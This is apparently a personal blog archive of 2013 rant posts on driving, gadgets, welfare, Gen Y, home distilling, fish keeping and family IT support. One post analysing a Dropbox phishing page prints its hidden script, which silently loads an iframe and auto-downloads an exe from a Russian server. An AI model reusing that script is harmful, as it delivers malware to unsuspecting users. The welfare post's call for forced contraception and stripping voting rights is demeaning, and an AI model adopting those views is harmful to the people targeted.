Sunday, December 15, 2013

I am so doing this



This illustrates the stupidity of the current furore over mobile phones perfectly.  I can quite legally eat my iPhone cookie, or drink a red hot coffee, or even use an electric razor quite legally while driving (I have heard senior police admit to the latter on live national radio) all while talking on a handsfree, but apparently if I hold the device I'm talking on the sky will fall in and I'm suddenly a menace to society.  (As if that only happened then.)

The reality is that mobile phone usage is an easily targeted, and more importantly easily detected "cause" for the cops to simplistically blame for accidents.  I see so many people who couldn't reliable drive their digit up their freckle with both hands on the wheel and what passes for full concentration that our licensing rules and driver training are a farce.

But as usual, it's easier to just tar everyone with the same brush instead of actually identifying and addressing the problem, because that would require someone to actually think about the issue.

And cops wonder why people don't have any respect for them.  Well done, morons.

Sunday, December 8, 2013

So the handbrake gets to have day surgery next week...

Apparently the bottom wisdom took took a look at the light of day and decided to burrow.  They will be coming out like it or not next week.



Friday, December 6, 2013

Uninvited guests

Some family in-laws in Blackwater apparently had uninvited guests in the yard one morning earlier this week.  They had no idea until they woke up and found the mess.

 

The police crime scene team came and took fingerprint and DNA samples, which was fairly easy, because the severed fingertip provided both in one go.  Adult bulldogs apparently don’t make a lot of noise going in.

Tuesday, November 26, 2013

iPad stabbers

Had to take the handbrake to the dentist today, due to getting wisdom(?) teeth at 35.

The endless faffing about of dentist, different joint for an x-ray, back to dentist, WHOOPS referral to a specialist, took about 4 bloody hours aside, I noted one consistent theme across all three sites.

iPad stabbers.

iPads have a touch sensitive screen designed to sense the capacitative coupling of a living body.  They work with fingers, noses, and cat paws.  They may also work with other body parts as well, but only on your iPad, matey.  They even work with knuckles, which is surprising considering there is so little skin and flesh there.  With older capacitative screens, I often couldn't get them to register fingertips, only finger pads.

Of course, they won't recognise Cruella de Vil fingernails (or these efforts) because there's no capacitance to sense - if you really have to have fingernails that make you look like Edward Scissorhands, get a Jasjam from 2006 and enjoy your Windows Mobile 6 (mmm, attractive) and 5 minutes battery life.

If you have idiotic fingernails, I can understand your need for a stylus.  These have a nice, soft little hemisphere on the end with capacitative characteristics so the screen digitiser senses the input.  If you don't, I utterly fail to see why you need one.  It's a touch screen.  Touch.  You interact with it by touching.  What would you want to complicate it with a stylus that you have to cart around, which does what your own chubby digits do?

And why, oh why, do people seem to feel the need to STAB THE FUCKING SCREEN WITH THE THINGS????  It a TOUCH screen, *not* a STAB screen!  Multiple tens of millions of dollars went into that technology, but regardless I spend the morning watching people stab the living crap out of expensive touch screen hardware, like they are trying to play some bizarre combination of pin-finger and eating peas with a knife.

My mother even does it with her fingers, until I threatened to take my iPad away from her until she promised to attacking it and USE IT.  Is it somehow related to older people who don't quite grok the concept of sensitivity below what a mallet can apply or something??

Stop it, please.

We now return you to your regularly scheduled lolcats.

Saturday, November 9, 2013

Numberplate of the week

Have a look at this character:



Hmm, HOTMXV, eh?  Presumably couldn't get HOTMX5 but was too wedded to the idea to give it up entirely, despite being too slow.

Of course, if V is Roman for 5, that would actually make the plate say HOT1015, which is perhaps not what he actually intended?

If he actually had any originality he would have made it HOTLXIX, but you can only expect so much from someone who is driving an MX5, I suppose.

Wednesday, October 30, 2013

Your junk non-science of the morning


ZOMG!!!  A study has revealed the vital finding that smartphones can’t automagically detect which key you meant to hit *if you don’t actually hit the fucking thing accurately!!*


Holy shit, and here I have been for years expecting to just mash my palm randomly on the keyboard and get the precise outcome I wanted, despite only making a random and non-specific indication of my intentions!

Anyone would think I was in management or something.



Gravity sucks.

Went to see Gravity last night.

One of the shorter movies I have seen (91 minutes apparently), and not a bad thing either, because it cut out at least half an hour's opportunity for the producers and director to make ONE OF THE MOST BORING FILMS I HAVE EVER SEEN.

I mean, far out... there was about 20 minutes of interesting stuff at the start, then 5 minutes in the middle and another 10 at the end.  The rest of it was Sandra and George doing relationship counselling rubbish while floating against a backdrop of stars, woo.

Seriously, give this one a miss.  Not impressed.  Go and see White House Down for a good flick.

Tuesday, October 22, 2013

Stand up, Australia - YOU CAN BE PROUD.

What else could you possibly want as a tourism tag line??



Monday, October 21, 2013

Put me in charge

Put me in charge of Australia's handout welfare system.  I’d get rid of cash payments for starters, and replace them with a debit card system that only allows you to buy certain items.  It would allow you to buy fresh meat, vegetables, milk, bread, salads etc.  Buying E91 or ethanol fuel would be OK, premium will not be.  And you won't own a car that needs it – trust me.  It would not allow you to buy frozen pizza, KFC, chips, chocolate, tobacco or alcohol.  If you want to buy those, then get a job and pay for them yourself.

 

Put me in charge of Medicare. The first thing I’d do is to get women Norplant birth control implants or tubal ligations.  I'd test recipients for drugs, alcohol, and nicotine - if you are found with these in your system, your payments are suspended.  I'd document all tattoos and piercings, if you are found with more than you had last time you've obviously got more of our cash than you need.  If you want to reproduce or use drugs, alcohol, smoke or get tattoos and piercings, then get a job and pay for it out of your own pocket.

 

Put me in charge of subsidised housing. Ever live in a military barracks?  You will maintain our property in a clean and good state of repair.  "Your" (read: our) house will be subject to inspections anytime, and possessions will be inventoried.  If you want a plasma TV or Xbox 360, then get a job and your own place on your own dollar.  Are you seeing a pattern yet?

 

Don't even think about letting drugs or alcohol be found in your subsidised housing.  If so, you're cut off for a year.  If found a second time, you're cut off for two years.  After that, I lose my normally cheerful disposition and it really starts to hurt.

 

You will either present a payslip from a job every time you want to collect a welfare handout or you will report to a government job. It may be cleaning the roads and parks of rubbish, painting and repairing public housing, but trust me - we'll find something.  I will also sell your 22 inch rims and low profile tyres and your car stereo system and put that money toward the welfare of someone who actually needs it.

 

Before you think that I’m violating your "rights", realize that all of the above is voluntary!  It's just that if you want our money, accept our rules.  Before you say that this is "demeaning" and lowers your "self esteem", consider that it wasn’t that long ago that taking someone else’s money for doing absolutely nothing was considered demeaning and lowered self esteem.

 

If we are expected to pay for other people’s mistakes we should at least attempt to make them learn from their bad choices. The current system rewards them for continuing to make bad choices and just perpetuates the cycle of welfare entitlement.

 

Oh yeah, one last thing - while receiving a handout you no longer can vote.  Voting is a privilege reserved for people who contribute to society and therefore earn a say in how it is structured, governed and run.  If you want to vote, then get a job.

Saturday, October 19, 2013

Saturday morning scammers and scumbags

Now here’s a subtle little scam.

Got an e-mail allegedly from Dropbox asking me to “update my password as I hadn’t logged in for a while.”  Remarkably for once I actually do use that service, but there’s a systray app that logs in automatically on boot, so red flag #1.

Unremarkably, the nice, friendly login button in the e-mail points to a compromised webserver, nothing special there.  What *was* interesting though was the peripheral approach taken to try to suck people in.  These pricks are really getting very subtle at this sort of thing.

Instead of the usual fake-landing-page-designed-to-look-real, I got a very realistic redirection delay, got to love the code snippet that does it:

window.onload = function() {
                 // It's "cool" to let user wait 2 more seconds :/
            }

You then get a nice, friendly page warning you of a security vulnerability with your PC - what helpful people!




Every single internet user in the world is constantly bombarded with security warning, dire threats of armageddon to their data and PC, and is probably quite used to doing these sorts of updates as a knee-jerk reaction, right?

(The weakness here is that Chrome updates itself automatically, and who in their right mind would want to run IE on Linux??).  But then again this sort of scam isn't intended to catch people who know what they are doing anyway...

Of course, while the graphics themselves are simply hotlinked directly off http://updatebrowser.net, they point to a dodgy Russian webserver, and all of them to the same file http://dynamooblog.ru:8080/ieupdate[URL breaker].exe.

What's *really* fun is this little snippet of code hidden at the end of the page:

if(OSName=="Windows") {
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "http://dynamooblog.ru:8080/dropbox/check[\URL breaker].php");
   ifrm.style.width = 1+"px";
   ifrm.style.height = 1+"px";
   document.body.appendChild(ifrm);
setTimeout(function() {
   document.getElementById('container').style.display = 'block';
   setTimeout(function() {
window.location = 'http://dynamooblog.ru:8080/ieupdate[URL breaker].exe';
   },50000);
  
                }, 5000);
}


That little gem automatically initiates the download of the file to a Windows system anyway after 50 seconds... no interaction required from the user, only leaving the browser open long enough.  I only caught it because FDM caught the download initiation.

Now imagine what would have happened if the file auto-ran on completion of download...

Tuesday, October 15, 2013

New ransomware

Hi guys,

Something to be aware of - a new ransomware tool doing the rounds, not only encrypts your local disks... but any writeable network destinations the PC has write access to.  Very, very nasty.  My NAS is read-only via HTTP/browse for this very reason, it's only writeable via FTP.

No version of Windows is immune, UAC won't stop it, and AV won't detect it currently.  You don't want this.  Apparently the most common method of delivery is as [filename].pdf.exe, and in moron-mode Windows hides the .exe extension as "known".  Watch what you click.

http://www.reddit.com/r/sysadmin/comments/1mizfx/proper_care_feeding_of_your_cryptolocker/

No surprise, Tynt have friends

Following on from when I discovered Tynt and their spammy little ways last year, it probably shouldn't have come as a surprise to discover that other companies have decided to have a swim in the same pond of slime.

The Australian is apparently now using an effectively identical service called CopyNShare, which appends a forced (and no doubt trackable) URL to the end of anything you copy off their site, so copying this:

FORMER communications minister Stephen Conroy was the "root cause" of Labor's "abysmal" handling of the National Broadband Network, according to construction industry heavyweight David Chandler.

Ends up as:

FORMER communications minister Stephen Conroy was the "root cause" of Labor's "abysmal" handling of the National Broadband Network, according to construction industry heavyweight David Chandler. - See more at: http://www.theaustralian.com.au/business/in-depth/conroy-root-cause-of-nbn-woes/story-e6frgaif-1226739889457#sthash.5da9bT4Q.dpuf


Why does this irritate me?  Apart from my normal objection at every marketer in the world salivating at yet another opportunity to shove advertising in my face, the appended URL makes it a little more work when using the copy-search trick to bypass the laughably insecure News Ltd paywall.

During some searching for the CopyNShare servers so I could blackhole them, I came across this incredibly useful service.  Basically, they regularly publish a hosts file that you can use to blackhole traffic from a huge range of adware infestations, and just to add to the value, they also block all the spyware and malware C&C servers that they know of.  Absolutely brilliant.


Here's a sample from the start of my current hosts file to give you the idea:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1       localhost
# ::1             localhost

127.0.0.1  localhost

::1  localhost #[IPv6]

# [Start of entries generated by MVPS HOSTS]
#
# [Misc A - Z]
127.0.0.1  fr.a2dfp.net
127.0.0.1  m.fr.a2dfp.net
127.0.0.1  ad.a8.net
127.0.0.1  asy.a8ww.net
127.0.0.1  abcstats.com
127.0.0.1  a.abv.bg
127.0.0.1  adserver.abv.bg
127.0.0.1  adv.abv.bg
# [end of entries generated by MVPS HOSTS]

Wednesday, September 25, 2013

Why Generation Y Are Unhappy

Say Hi to Lucy.

Lucy is part of Generation Y, the generation born between the late 1980s and the early 2000s.  She's also part of a distinctive breed of yuppie culture that makes up a large portion of Gen Y.  

I have a term for yuppies in the Gen Y age group—I call them Gen Y Protagonists & Special Yuppies, or GYPSYs.  A GYPSY is a unique brand of yuppie, one who thinks they are the main character of a very special story.  You know, just like their favourite character on TV, the quirky one with the attractive circle of friends, who all spend all day eating in restaurants but mysteriously never actually do any work.

So Lucy's enjoying her GYPSY life, and she's very pleased to be Lucy.  Only issue is this one thing:

Lucy's kind of unhappy.

To get to the bottom of why, we need to define what makes someone happy or unhappy in the first place.  It comes down to a simple formula:


It's pretty straightforward—when the reality of someone's life is better than they had expected, they're happy.  When reality turns out to be worse than the expectations, they're unhappy. 

To provide some context, let's start by bringing Lucy's parents into the discussion.

Lucy's parents were born in the 50s—they're Baby Boomers.  They were raised by Lucy's grandparents, members of the G.I. Generation, or "the Greatest Generation," who grew up during the Great Depression and fought in World War II, and were most definitely not GYPSYs.

Lucy's Depression Era grandparents were obsessed with economic security and raised her parents to build practical, secure careers.  They wanted her parents' careers to have greener grass than their own, and Lucy's parents were brought up to envision a prosperous and stable career for themselves.  Something like this:




They were taught that there was nothing stopping them from getting to that lush, green lawn of a career, but that they'd need to put in years of hard work to make it happen.  GYPSYs don't understand this concept, because they were born into a burgeoning age of instant fulfilment.


After graduating from being hippies, Lucy's parents embarked on their careers.  As the 70s, 80s, and 90s rolled along, the world entered a time of unprecedented economic prosperity.  Lucy's parents did even better than they expected to.  This left them feeling gratified and optimistic.


With a smoother, more positive life experience than that of their own parents, Lucy's parents raised Lucy with a sense of optimism and unbounded possibility.  And they weren't alone.  Baby Boomers all around the country and world told their Gen Y kids that they could be whatever they wanted to be, instilling the special protagonist identity deep within their psyches.

This left GYPSYs feeling tremendously hopeful about their careers, to the point where their parents' goals of a green lawn of secure prosperity didn't really do it for them.  A GYPSY-worthy lawn has flowers.




This leads to our first fact about GYPSYs:

GYPSYs Are Wildly Ambitious


The GYPSY needs a lot more from a career than a nice green lawn of prosperity and security.  The fact is, a green lawn isn't quite exceptional or unique enough for a GYPSY.  Where the Baby Boomers wanted to live The American Dream, GYPSYs want to live Their Own Personal Dream.  They're all going to be rock stars, or professional sports people, or captains of industry in their first week out of college.  When they don't get a company provided BWM and smartphone, it tends to be a bit of a letdown.  

Cal Newport points out that "follow your passion" is a catchphrase that has only gotten going in the last 20 years, according to Google's Ngram viewer, a tool that shows how prominently a given phrase appears in English print over any period of time.  The same Ngram viewer shows that the phrase "a secure career" has gone out of style, just as the phrase "a fulfilling career" has gotten hot.

To be clear, GYPSYs want economic prosperity just like their parents did—they just also want to be fulfilled by their career in a way their parents didn't think about as much.  

But something else is happening too.  While the career goals of Gen Y as a whole have become much more particular and ambitious, Lucy has been given a second message throughout her childhood as well:


This would probably be a good time to bring in our second fact about GYPSYs:

GYPSYs Are Delusional

"Sure," Lucy has been taught, "everyone will go and get themselves some fulfilling career, but I am unusually wonderful and as such, my career and life path will stand out amongst the crowd."  So on top of the generation as a whole having the bold goal of a flowery career lawn, each individual GYPSY thinks that he or she is destined for something even better—

A shiny unicorn on top of the flowery lawn.  


So why is this delusional?  Because this is what all GYPSYs think, which defies the definition of special:

spe-cial | 'speSHel |
adjective
better, greater, or otherwise different from what is usual.

According to this definition, most people are not special—otherwise "special" wouldn't mean anything.
Even right now, the GYPSYs reading this are thinking, "Good point...but I actually am one of the few special ones"—and this is the problem.

A second GYPSY delusion comes into play once the GYPSY enters the job market.  While Lucy's parents' expectation was that many years of hard work would eventually lead to a great career, Lucy considers a great career an obvious given for someone as exceptional as she, and for her it's just a matter of time and choosing which way to go.  Her pre-workforce expectations look something like this:

Unfortunately, the funny thing about the world is that it turns out to not be that easy of a place, and the weird thing about careers is that they're actually quite hard.  Great careers take years of blood, sweat and tears to build—even the ones with no flowers or unicorns on them—and even the most successful people are rarely doing anything that great in their early or mid-20s.  

But GYPSYs aren't about to just accept that.  

Paul Harvey, a University of New Hampshire professor and GYPSY expert, has researched this, finding that Gen Y has "unrealistic expectations and a strong resistance toward accepting negative feedback," and "an inflated view of oneself."  He says that "a great source of frustration for people with a strong sense of entitlement is unmet expectations. They often feel entitled to a level of respect and rewards that aren't in line with their actual ability and effort levels, and so they might not get the level of respect and rewards they are expecting."

For those hiring members of Gen Y, Harvey suggests asking the interview question, “Do you feel you are generally superior to your coworkers/classmates/etc., and if so, why?”  He says that “if the candidate answers yes to the first part but struggles with the ‘why,’ there may be an entitlement issue. This is because entitlement perceptions are often based on an unfounded sense of superiority and "deservingness".  They've been led to believe, perhaps through overzealous self-esteem building exercises in their youth, that they are somehow special but often lack any real justification for this belief."

And since the real world has the nerve to consider merit a factor, a few years out of college Lucy finds herself here:
Lucy's extreme ambition, coupled with the arrogance that comes along with being a bit deluded about one's own self-worth, has left her with huge expectations for even the early years out of college.  And her reality pales in comparison to those expectations, leaving her "reality - expectations" happy score coming out at a negative.

And it gets even worse.  On top of all this, GYPSYs have an extra problem that applies to their whole generation:

GYPSYs Are Taunted

Sure, some people from Lucy's parents' high school or college classes ended up more successful than her parents did.  And while they may have heard about some of it from time to time through the grapevine, for the most part they didn't really know what was going on in too many other peoples' careers.

Lucy, on the other hand, finds herself constantly taunted by a modern phenomenon: Facebook Image Crafting.

Social media creates a world for Lucy where A) what everyone else is doing is very out in the open, B) most people present an inflated version of their own existence, and C) the people who chime in the most about their careers are usually those whose careers (or relationships) are going the best, while struggling people tend not to broadcast their situation.  This leaves Lucy feeling, incorrectly, like everyone else is doing really well, only adding to her misery:

So that's why Lucy is unhappy, or at the least, feeling a bit frustrated and inadequate.  In fact, she's probably started off her career perfectly well, but to her, it feels very disappointing. 

Here's my advice for Lucy:

1) Stay wildly ambitious.  The current world is bubbling with opportunity for an ambitious person to find flowery, fulfilling success.  The specific direction may be unclear, but it'll work itself out—just dive in somewhere.  Just understand that there's going to be a lot of work, a lot of long hours, and if you screw up, your boss isn't going to ask you if you found it a valuable learning experience.  The real world doesn't give participation ribbons for coming 14th.

2) Stop thinking that you're special.  The fact is, right now, you're not special.  You're another completely inexperienced young person who doesn't have all that much to offer yet.  You can become special by working really hard for a long time.  You won't get getting that BMW anytime soon.

3) Ignore everyone else. Other people's grass seeming greener is no new concept, but in today's image crafting world, other people's grass looks like a glorious meadow. The truth is that everyone else is just as indecisive, self-doubting, and frustrated as you are, and if you just do your thing, you'll never have any reason to envy others.

I don't expect your average GenY to do this for a single second though, because it would mean abandoning the false reality they gained from watching Friends and Rules Of Engagement, and having to deal with the reality that there's a report to write.  Or a floor to be swept.

Monday, September 16, 2013

Redneck recipe

Redneck recipe.


You takes ya basic one o' these:




Y'all then insert briskly inter one o' these at a level crossin':




And what y'all gits is one o'these here.

Bill Joe at th' foundry'll be real glad his rebar is doin' guud, but that peckerwood Clyde at th' plant needs ter work on his concrete onna'count of it bein' shizenhaus.



Friday, September 13, 2013

Fun night

Not long got back from a merry  6 hours stint in the emergency room.  I got the “fast track” status and even then it took three hours to see a doctor, although I must say that A&E nurse practitioners that have the ability to write orders for their own analgesics are your friends in cases like this.

 

If you need to chew on someone, do so on the administration staff, not the ones with the key to the narcotics cabinet.  Trust me on this one.

 

I can say with some conviction and experience that intravenous morphine is good stuff – you can go from sweating and convulsing from pain to sitting up and having a nice chat in about four minutes, and the only remaining issue is that it takes your stomach muscles a while to realise it’s over for a bit and stop their cramping.  Bananas are the go in lieu of a potassium shot, which would have had to be an IM stick due to only having single-feed cannulas in, and at that stage I had two large-bore IVs in and was a bit over being punctured.

 

So what was the problem?  Impending testicular torsion.  In retrospect not as bad as gallstones, but a very close second.

 

When the A&E triage nurse asked me for a pain rating I said it was about 5/10… but that after 4 hours of it continuously it was becoming a bit wearing on my normally sunny demeanour.  Ooh, step right in sir.  Not allergic to anything, sir?  Ever had codeine before?  Morphine?  Cool, let’s start you on 50mg morphine, 50mg of codeine and 500mg of paracetamol.  Let me know immediately if your stomach hurts.

 

That lasted me about two hours and when I started having mild convulsions again they said they couldn’t give me any more orally due to stomach irritation.  I pointed out a nice vein in the back of my hand and 5 minutes later, bliss.  You can’t even feel the freaking ice cold fingers of the doctor palpating (read: squeezing the crap out of) assorted things, and manoeuvring (read: take a good hold, make a wish and HOIK) said things back were they should be.  Luckily for me, no signs of anything being torn, so nothing needs to be stitched back into place.

 

At one point the (Asian female) doctor asked if she was causing any discomfort.  I replied that compared to previously, no, that it beat the hell out of the last similar experience which involved a scalpel, a model boathook and a bovie, and that she should rest  absolutely assured that I would communicate clearly and promptly any dissatisfaction with the current treatment regime.

 

What caused this?  Calley let the puppy into the bedroom to “wake me up” the other morning.  10kg of puppy took a flying leap onto the bed and ground zero was my nads.  Thanks for that one.

 

Get a dog, they said.  It will be fun, they said.

Wednesday, September 4, 2013

Why you can't use your device on the plane

This is sooo much better than the reality, which is that we're truly afraid that your utterly non-radiating iPhone in flight mode might somehow interfere with the four totally redundant executive computer systems on this $300 millon aircraft, but since we have no way of actually telling nor enforcing that you've turned the thing off or not, we adopt the Ostrich method of pretending you have because we've forced you to spend 20 minutes of your life in utter boredom with the thing shoved sullenly into the seat pocket.

Of course, what we're *really* trying to do is try to trick you into watching the "safety" briefing you've seen a thousand times before, by forcing you to undergo a mild sensation of sensory deprivation to the point where even a stewie performing a stylised dance with a belt buckle and strap and showing you how a whistle works is better than the soul-destroying experience of having to just sit there in livestock class.

We haven't worked out a way to prevent you from passively aggressively retaliating by reading the crappy flight magazine or just closing your eyes for a few minutes for a snooze, but don't worry - we're actively trying to figure out how.

By the way, in case the aircraft hits the ground travelling vertically downwards at 700 knots - your lifejacket is under the seat.  Pity the seat pitch is inadequate for you to actually get to the fucking thing, but hey - the only people that actually care are the FAA and our legal department.


Tuesday, August 20, 2013

Life is [apparently] better without booze

news.com.au reckons that life is better without booze.

Let's examine why they are full of it.

1. Your health gets better.

Really?  I was planning to drop dead of cholesterol related heart disease secondary to eating everything I feel like eating, with sitting behind a desk 12 hours a day as a contributing factor.  I don't see how booze changes either.


2. Your looks improve.

I doubt it, matey.


3. It's easier to maintain the weight you want

The Handbrake and I  today made the decision to cut out all carbs and most fats, and actually eat sensible portions to stave off lap band surgery.  I doubt a few bourbons will achieve this one way or the other.


4. You have more time to get stuff done.

You're assuming I don't get stuff done while having a drink.  I draw the line at power tools at potential digit removal, but I am as equally productive with a glass of wine as without.


4b. You can even finish a book.

I read on the [enforced] train to and from work. I have no desire to write one.  Set me up, bartender.


5. You have more patience.

No, I quite assure you I will not.  I suffer lack of patience due to being forced to work with stupid people.  I'll try being nicer if you try being smarter.  Guess which one is controllable?  Protip: not the one you'd like.


6. You find out who you really are.

Tree-hugging hippy crap.  I'm quite happy the way I am, thanks.  What makes you think that anything else is automatically an improvement?


7. You feel good about your life.

See above.  I rarely get hangovers, and if I do they are easily dealt with.  This is a just another form of trendy-speak rubbish designed to convince people that they're not responsible for their own actions.

Question:  what happens when you're completely sober and you discover you're *still* an arsehole or useless know-nothing hanger-on?

Ah, yeah.  Bugger.  Kinda counting on the get-out-of-gaol-free card there.

Wednesday, August 14, 2013

Tax sucking politicians

Making some booze today.

A basic kit (pure sugars, yeast, filter media) is $55.  (I could do this cheaper, but it's not worth trying to source pure dextrose in the small quantities I need.  The storage alone would be a pain in the arse.)

Add $4 for carbon slurry, and maybe $5 (generous) for steriliser and power.

For this, I end up with 10 litres of 40% neutral spirit.  Flavouring costs me about $1 a litre to make bourbons, it's mostly time.

So the upshot is that I can make bourbon that fools people that it's Jim Beam black for $7.40 a litre.

Dan Murphy's wants $41 a bottle... for 700ml, or $58 a litre.  And of that, the government has their hand out for over $20 of that 700ml bottle.

No thanks, time to check the condensor temp on the still, and put another batch down in the fermenter I think.

Sunday, July 14, 2013

Zimmerman acquitted

Ho Lee Fuk indeed



Edit - I see some gormless little fuck has just intimidated Youtube into taking down the video.  Well done.  And fuck you, here's a still, of which there are approximately 11,827,856 out there by now.

Welcome to the internet, you useless waste of oxygen.


Monday, July 1, 2013

At last, a logical religion

Religion in all forms puzzles me, because I can't see why people are who are apparently supposed to be grown adults still haven't relinquished the concept of having an imaginary best friend.  Or can't deal with the idea that sometimes shit just happens, there doesn't have to be a master plan.  Or that you need to wear a specific type of underwear and avoid bacon to gain the approval of your illusory deity, who nevertheless thinks it's OK to blow other people up.

That said, if you have to believe in a religion to provide justification for your own actions and experiences because our victim culture-of-blame society has conditioned you completely to the mistaken belief that it's always someone else's fault, then you might as well pick one where you don't need to worry about it too much, right?

There's no virgins at the end either way, but at least you get bacon in the meantime.


Wednesday, June 26, 2013

New stupid tax in force

I have decided I will no longer assist in maintaining cracked versions of software for people.  That includes Windows, Office, you name it.

 

This is because the few remaining people I have been doing this for basically demonstrate zero carefactor about something they’re not paying for, and in my opinion also demonstrate insufficient gratitude about my time taken to fix their gear every time they fuck it up.  It honestly seems to come as a surprise to these people that it’s frustrating doing the same thing over and over again when they won’t learn and don’t care, because they think I’ll happily donate half of my day putting them back on the air.  I also don’t appreciate being guilt-tripped because they’re whining that their business is suffering – if it’s that important to you, either pay someone to turn up on demand, or better yet, LEARN.

 

So here’s the new black:

 

(1)     You will purchase a Windows 7 licence.  Yes, this will cost you money.  I don’t care.  Especially if you have been stupid enough to lose the rebuild disk for the laptop despite me sitting you down and explaining very, very slowly NOT TO LOSE THIS.  I don’t care if you “lent” it to your daughter (who makes more goddamn money than I do) because she liked the look of it and emotionally blackmailed you into doing so by refusing to let you see your granddaughter until you handed it over, then proceeded to lose the box, all the documentation and warranty information (that would have been useful when she fucked the power connector on the thing, wouldn’t it?), and the discs.  Why would she care, she didn’t pay for it.

(2)    You will purchase an Office licence.  See point (1) above re cost and my response to this.  If you don’t like this, try Openoffice.  My assistance will be limited to telling you to go to openoffice.org, and if you’re too dumb to download a single setup file and double-click it then you have no need of an office productivity suite.  Use webmail.  Shout out to my dumb distant relative who actually managed to download and install the Spanish version – despite the fucking installer being in Spanish – Buena suerte, dude.

(3)    If you present me with a piece of hardware, I will plug it in for you.  If it requires drivers, you better have ‘em, or I unplug it and hand it back.  This will be your problem.  I will not spend hours trying to determine what the cheap piece of shit wifi card you bought off eBay is by looking for FCC IDs on the PCB, or staring at "This device cannot start. (Code 10)" in Windows when your Super Happy Fun Time Industries USB barcode scanner is connected.  This means Windows hasn’t got a fucking clue what to do with it, so how am I supposed to know?  See point (1) above.  We have had this discussion enough times that there’s clearly no point in having it again.  You won’t learn, so I am not wasting my time any more.  I’ll waste your cash instead.  Yes, I know it hurts.  It’s supposed to.

(4)    If you don’t have your password to your ISP account, RADIUS authentication, FTP server, web host, mail account, iTunes account etc this is your problem.  You contact them and find it, then call me.  I spent an hour yesterday trying to determine who even hosts someone’s web site that they rely on for a sizeable chunk of their business.  Using that $20 A FUCKING YEAR CheapArse MightWork Webhosting account doesn’t seem like such a good idea does it now?  How long is it costing you in business the $200 you could have gotten reputable hosting with a 24/7 helpdesk for?  Wow, only that long, eh?  Pity their helpdesk is only open business hours… on the west coast of North America.  You should be able to get through to them about 3am, I reckon.  Let me know how much fun it is listening to “Your call is 50th in the queue.  We thank you for holding, your call IS IMPORTANT TO US!” at international call rates.  Then tell me how much you wish you could still have the VoIP service I set up for you just so you could call suppliers cheaply, but destroyed by insisting on using a $40 ATA and some POS cordless you bought at Aldi, and you won’t fork out for anything better than the last goddamn 512Kbps ADSL service in the country.  The VoIP echoed too much to use?  Wow, I can’t imagine why.  Make sure you say hola to Pablo at the helpdesk when you finally hablo to him.  Don’t get aggro or he’ll drop you back in the queue.

(5)    If it malfunctions after you let someone else touch it, you get them back to fix it.  I’ve had it with repairing other people’s trails of destruction.  It was working when *I* last touched it.

(6)    The two machines I will make conditional exceptions for (because I actually get paid in kind for looking after them) are limited to being rebuilt if you fuck them up due to not caring and just clicking on anything whatsoever that pops up on the screen.  I have fresh images for these machines which I will simply reload, and it’s your problem to reload all of the other crap you’d just die without.  If you’re not keeping everything you want in the ONE directory I warned you I will back up before doing so, you will lose it.  The last time you forgot this, you lost $7,000 in claimable invoices – remember that?  There’s a reason you have a person machine and one for business.  If you trash your personal machine and decide to just keep doing the same damn thing with the business machine because you’d just die if you can’t, it’s going to hurt.  You’ve got an iPad for the precise reason that it’s really, really hard to fuck it up.  Use it.

Sunday, June 16, 2013

Sunday news

India will be sending the world's last commercial telegram on July 14.  Apparently nobody is too worried, they have a replacement already - all that ancient 2G AMPS crap everyone else got rid of 15 years ago, plus of course their modern landline PSTN.

 
 
ERMAGERD Real estate agent's account is hacked, HACKED I tell you!

Yeah dude, we believe you.


A pair of poms have reverse-emigrated back to England because they couldn't buy their little snowflake's favourite drink here.  We're crushed.


Irony: it's art only when it's on someone else's property, apparently.


Do you reckon this will strain the friendship?  When exactly does bros before hos kick in, anyway?

Saturday, June 15, 2013

Bastards!

Not news:  old dude blows up fibro house due to defective gas heater.

Predicted response of opportunist ambulance chasing scumbag lawyers:  OMFG WE HAVE TO SUE THE SHIAT OUT OF THOSE EVIL BASTARDS AT JAMES HARDIE OVER THE ASBESTOS!!!!

Not news

Not news:  dumbass compter newbie gets PC infected with spyware.

HOLY SHIAT.  What is the world coming to???

P.S. - the mouse thingo goes shiny light down, Ms Technologist.

Saturday morning news from around the world.

Now, with added WTF...

Clearwater, Florida -- Police responded to the scene of a three-vehicle wreck Wednesday afternoon, where one driver reportedly punched a fire inspector and then burned a hole in the pavement trying to get away.  Comes with cool picture of hole.

I see that the airlines in the world have a new challenge in losing your luggage.  Of course, they'll still lose it, it's just gonna be reaaally hard to argue about it when you can prove it.

And, finally, proof that Americans will eat any damn thing as long as it's processed and fattening.  All you really need to know about it is in the last quote:  "The smell is like blue cheese and plastic and smelly feet. The taste is just like sugar and coconut, but THE SMELL IS SO REPULSIVE THAT I CANNOT GET PAST IT."

What more could you possibly want?

Friday, June 14, 2013

Disturbing

I mean seriously, this dude has something wrong with him.









Tuesday, June 11, 2013

Keep fish, they said. It will be fun, they said.

I keep tropical fish, which have a fairly narrow range of temperature comfort.

 

In this part of the world, that means a tank heater.  This is not a bad thing, because a heater is $70.  You suction cup it to the glass inside in a high-flow water area, set the thermostat dial to what you think is about right, plug it in, and rack off for a couple of hours.  You then return and check against your tank thermometer, tweak as required, and you’re all good.

 

Because of the temperature sensitivity of the animals, I do keep a fairly close eye on the tank temperature, so when I saw it 2° high last week, I turned the thermostat down a little.  And a little more.  And a little more.  When you’ve finally got a tank 4° high and the thermostat is set 10° below that at absolute minimum and the heater still shows as running, a man does have to reluctantly admit to himself that he has a buggered thermostat and a new one will have to be purchased.

 

I installed a new heater on Friday last week and all was good until yesterday morning.  Tank temp a little low, but the LED showed the thermostat had cut in, so all good.  A couple of hours later, the temp is still dropping.  Checked the new heater and it’s got condensation inside the thermostat and about 2” of water inside the heating element, which is not good when you consider the bloody thing is a fully submerged 240v device.

 

Of course, by this time it’s 6pm on a public holiday Monday, I don’t have a spare heater, Calley is away, and I have to go to night shift in a little over 3 hours.  The tank will settle to room temperature over night, well below fish tolerance zone.

 

Shit.

 

Some frantic maths shows that to heat 1 litre of water by 1°C you need around 4,180 joules of energy.  To heat 120 litres, you need  little over 500,000 joules, which is turn around 140Wh.  A 200W heater should therefore raise the temperature of the tank 1°C per hour if running continuously.

 

